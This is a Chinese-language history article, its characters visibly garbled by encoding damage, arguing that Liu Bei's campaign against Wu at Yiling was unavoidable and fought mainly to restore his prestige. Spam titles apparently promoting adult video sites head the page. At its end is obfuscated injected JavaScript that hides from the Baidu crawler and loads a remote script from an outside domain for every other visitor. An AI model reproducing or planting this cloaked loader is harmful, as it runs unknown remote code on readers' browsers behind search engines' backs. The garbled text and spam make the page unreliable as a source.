久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

        三國(guó)時(shí)期的夷陵之戰(zhàn)為什么非打不可?

        2017-04-29 11:12:04  來(lái)源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語(yǔ):夷陵之戰(zhàn)是三國(guó)時(shí)期三大著名戰(zhàn)役的最后一場(chǎng),是當(dāng)時(shí)蜀漢君主劉備對(duì)東吳發(fā)起的一場(chǎng)戰(zhàn)斗。在劉備稱帝后的三個(gè)月,他以為關(guān)羽報(bào)仇為由出兵伐吳

        夷陵之戰(zhàn)是三國(guó)時(shí)期三大著名戰(zhàn)役的最后一場(chǎng),是當(dāng)時(shí)蜀漢君主劉備對(duì)東吳發(fā)起的一場(chǎng)戰(zhàn)斗。在劉備稱帝后的三個(gè)月,他以為關(guān)羽報(bào)仇為由出兵伐吳。東吳不得不迎戰(zhàn),于是孫權(quán)立刻派出了陸遜。劉備打著復(fù)仇的旗號(hào),士氣正聲,陸遜便采取以逸待勞的方式,阻擋蜀軍的進(jìn)攻。這一戰(zhàn)成為了劉備死前的最后一戰(zhàn),有人認(rèn)為這一戰(zhàn)其實(shí)不打才能為蜀國(guó)爭(zhēng)取優(yōu)勢(shì),那么為什么夷陵之戰(zhàn)還是開(kāi)戰(zhàn)了呢?夷陵之戰(zhàn)為什么非打不可呢?

        一直以來(lái),許多人對(duì)劉備發(fā)動(dòng)的夷陵之戰(zhàn)都不認(rèn)同,在這里,我提出一些個(gè)人的看法:

        一、我認(rèn)為劉備對(duì)吳發(fā)動(dòng)戰(zhàn)爭(zhēng)是必須的,因?yàn)椋?/strong>

        1、荊州這個(gè)戰(zhàn)略要地的丟失,將嚴(yán)重影響蜀漢政權(quán)以后的發(fā)展

        2、關(guān)羽的死,如果不報(bào)仇的話,將嚴(yán)重影響素以忠義著稱的劉備的形象和威信

        3、建安五年,東吳版的“隆中對(duì)”中魯肅就提出先三分天下,然后吞并劉表,再與曹魏南北對(duì)峙,最后一統(tǒng)天下。

        二、如果對(duì)吳的戰(zhàn)爭(zhēng)是必須的,那為什么是221年這個(gè)時(shí)間?

        1、221年曹丕剛纂漢自立,北方防線有馬超,魏延,無(wú)后顧之憂。

        2、軍事上,蜀漢的勢(shì)力是比較強(qiáng)盛的時(shí)候。

        3、續(xù)周瑜魯肅呂蒙相續(xù)去世之后,表面上東吳已經(jīng)沒(méi)有大將之才。

        4、對(duì)吳的戰(zhàn)爭(zhēng)是早遲的事,何不趁丟荊州,死關(guān)羽的借口來(lái)發(fā)動(dòng),更可顯示出是正義之師。

        5、挾自己稱帝的氣勢(shì)。

        三、對(duì)于劉備對(duì)東吳的戰(zhàn)爭(zhēng),其實(shí)并不是意氣用事為關(guān)羽報(bào)仇和全力攻打東吳,只是為了尊嚴(yán)和威信的戰(zhàn)爭(zhēng):

        1、如果劉備只是意氣用事為關(guān)羽報(bào)仇,就不會(huì)在關(guān)羽死后接近兩年的時(shí)間才出兵攻打東吳。

        2、如果劉備真想全力攻打東吳,不可能諸葛亮,趙云,馬超,魏延等一個(gè)都不帶在身邊。諸葛亮和趙云是不支持劉備發(fā)動(dòng)的戰(zhàn)爭(zhēng),但是劉備對(duì)諸葛亮和趙云還是信任的,這與意見(jiàn)不合不能混為一談,諸葛亮要鎮(zhèn)守成都(呂布在徐州的時(shí)候就吃過(guò)這樣的虧),趙云督辦糧草(官渡之戰(zhàn)袁紹就是糧草被燒而失敗)。馬超和魏延可以抽調(diào)一個(gè)回來(lái),當(dāng)時(shí)東吳大勝之后也是及時(shí)回防粉碎了曹丕的偷襲。這么多重要將領(lǐng)都不帶領(lǐng),而帶一些名不經(jīng)轉(zhuǎn)的將領(lǐng)去攻打一個(gè)勢(shì)力和自己差不多的勢(shì)力是說(shuō)明劉備是無(wú)知還是自大?這和爭(zhēng)奪漢中的豪華陣容是形成鮮明對(duì)比,難道東吳還不如漢中?

        3、如果要全力攻打東吳,奪回荊州,劉備應(yīng)該會(huì)訓(xùn)練一支和東吳相抗衡的水軍。也不會(huì)在夷陵的時(shí)候,水軍放棄水路上岸和陸軍合二為一,為以后陸遜從水路上岸切斷劉備的長(zhǎng)蛇陣,造成大敗的結(jié)局。

        4、221年七月,剛發(fā)動(dòng)戰(zhàn)爭(zhēng)時(shí)的氣勢(shì)是多么的強(qiáng)勁,銳不可擋。蜀漢大軍攻下秭歸后,就駐扎在那里,再接下來(lái)的四五個(gè)月,就沒(méi)有戰(zhàn)爭(zhēng)。直到222年的二月,劉備才率部離開(kāi)秭歸,到猇亭建立大本營(yíng),難道是劉備不知道一鼓作氣,乘勝追擊的道理。而在對(duì)峙中,陸遜采用了堅(jiān)守不戰(zhàn)之策,劉備也且戰(zhàn)且停,擺起長(zhǎng)蛇陣,修身養(yǎng)息,完全沒(méi)最初的氣勢(shì)。到了六月,陸遜才用火攻打敗劉備。

        由此可見(jiàn),劉備發(fā)動(dòng)的對(duì)吳戰(zhàn)爭(zhēng),只是做做表面文章,不然豈會(huì)不帶一個(gè)重要將領(lǐng)?豈會(huì)不乘勝追擊?豈會(huì)只打巫,秭歸這些無(wú)軍事,經(jīng)濟(jì)價(jià)值的地方。我猜想劉備當(dāng)時(shí)的想法可能是:

        1、表面要為關(guān)羽報(bào)仇;

        2、為丟荊州挽回一些顏面;

        3、順便教訓(xùn)一下孫權(quán);

        4、劉備不想那么早的被困在益州,而被曹魏和東吳“邊緣化”;

        5、能攻占多少就多少(劉備攻占后的地方可是秋毫不犯)。

        諸葛亮和趙云沒(méi)有劉備政治家的眼光,所以反對(duì)對(duì)吳的戰(zhàn)爭(zhēng)。但是劉備也沒(méi)料想到的是:

        1、孫權(quán)會(huì)為一些無(wú)軍事,經(jīng)濟(jì)價(jià)值的地方和自己大動(dòng)干戈;

        2、低估了陸遜;

        3、可能想到輸,可沒(méi)想到敗的那么慘。

        我們可以大膽猜想一下,如果陸遜沒(méi)有火燒連營(yíng),也許劉備會(huì)在夏天就班師回朝,那么夷陵之戰(zhàn)為其挽回顏面之后,就會(huì)簡(jiǎn)單地畫(huà)上了句號(hào)。但是劉備雖然有一個(gè)爭(zhēng)雄政治家應(yīng)有的眼光,卻不想在作戰(zhàn)上小看了陸遜,以致于在他手中敗得這么慘,最后在白帝城一病不起,顏面沒(méi)有挽回,反而送了性命,蜀漢也就此開(kāi)始走向沒(méi)落。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}